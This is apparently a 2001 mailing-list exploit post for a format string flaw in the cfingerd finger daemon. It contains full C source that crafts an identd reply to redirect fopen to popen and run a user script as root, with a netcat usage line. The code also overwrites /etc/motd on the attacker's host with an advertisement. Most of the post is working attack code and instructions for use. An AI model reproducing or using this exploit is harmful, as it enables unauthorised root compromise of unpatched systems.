Remotish / localish exploit.
I wrote this last night, unaware someone else was going to post something
today.
Here is another exploit for the format string problem in cfingerd<=1.4.3,
using a slightly different method for exploiting it. Anti script-kiddied
by me being lazy.
Exploit redirects fopen() call to popen() and executes code from
~/.nofinger
Read the comments.
-- zen-parse
M4D PR0PZ T0 :
Steven for showing me da bugz
noid 4 b3in6 7h3r3 wh3n no1 3153 w4z
grue 4 lurking, g00bER 4 something
and the rest of #roothat @ irc.pulltheplug.com
4150 70 mp3.com 4 http://mp3.com/cosv
/************************************************************
http://www.infodrom.ffis.de/projects/cfingerd/ states:
Cfingerd is a free and secure finger daemon replacement for
standard finger daemons such as GNU fingerd or MIT fingerd.
April 11, 2001 Megyer Laszlo < [EMAIL PROTECTED] > wrote:
In 3 words: REMOTE ROOT VULNERABILITY
idcf.c - July 11 2001 - happy 3 month anniversary!
cfingerd 1.4.3 identd based localish exploit ;]
no shellcode required if you have a local account
make a script in ~/.nofinger that you want to be
executed as root.
it works by diverting the fopen call to popen. of
course it won't help if you don't already have a
local account but well, its just a proof of concept
and I think it's cute, and the more exploits there
are against an unpatched system, the more likely (I
hope) it will get patched. Would be nice if it worked
that way anyway.
./idcf|nc -l -p 113
on a box you have root on, and finger you@otherhost
to use.
this is hardcoded for four letter names, but shouldn't
require rocket science to make work for others.
Hint: offset and padding : format strings are fun.
M4D PR0PZ T0 :
Steven for showing me da bugz
noid 4 b3in6 7h3r3 wh3n no1 3153 w4z
grue 4 lurking, g00bER 4 something
and the rest of #roothat @ irc.pulltheplug.com
4150 70 mp3.com 4 http://mp3.com/cosv
***********************************************************/
// The offsets are from a version i compiled just to
// test the vulnerability and so will most likely not
// work for you.
// get this from objdump -R cfingered|grep fopen
#define OVER 0x0805532c
// get this from objdump -R cfingerd|grep popen
// and then gdb cfingerd and x/x 0xoffset from objdump
#define WITH 0x080491ba
#include <stdio.h>
main(int argc,char*argv[])
{
int z0=0,ovrw=OVER; // address to overwrite with pass 1
int z1=0,ovrw1=OVER+2; // address to overwrite with pass 2
int slen=strlen("evil fingered from ")+9;
int addr=WITH; // what to overwrite the address with
int offset=20; // where the first address is on the stack
int a1,a2;
FILE *f;
f=fopen("/etc/motd","w+");
if(!f)
{
fprintf("You must be root to use this exploit.\n");
exit(1);
}
a1=(addr&0x000ffff)-slen; // 1st number of bytes
a2=(0x10000+(addr>>16)-a1-slen)&0x0ffff; // 2nd number of bytes
printf(":::A%s%s",&ovrw,&ovrw1); // header/padding/addresses
printf("%%%ux%%%d$hn%%%ux%%%d$hn\n" // formatstring itself
,a1,offset,a2,offset+1);
fprintf(stderr,"Visit http://mp3.com/cosv/ today!\n");
fprintf(stderr,"And mebe visit your account on the other machine.\n");
fprintf(stderr,"after you finger it.\n");
fprintf(f,"Visit http://mp3.com/cosv/ today!\n");
fclose(f);
}
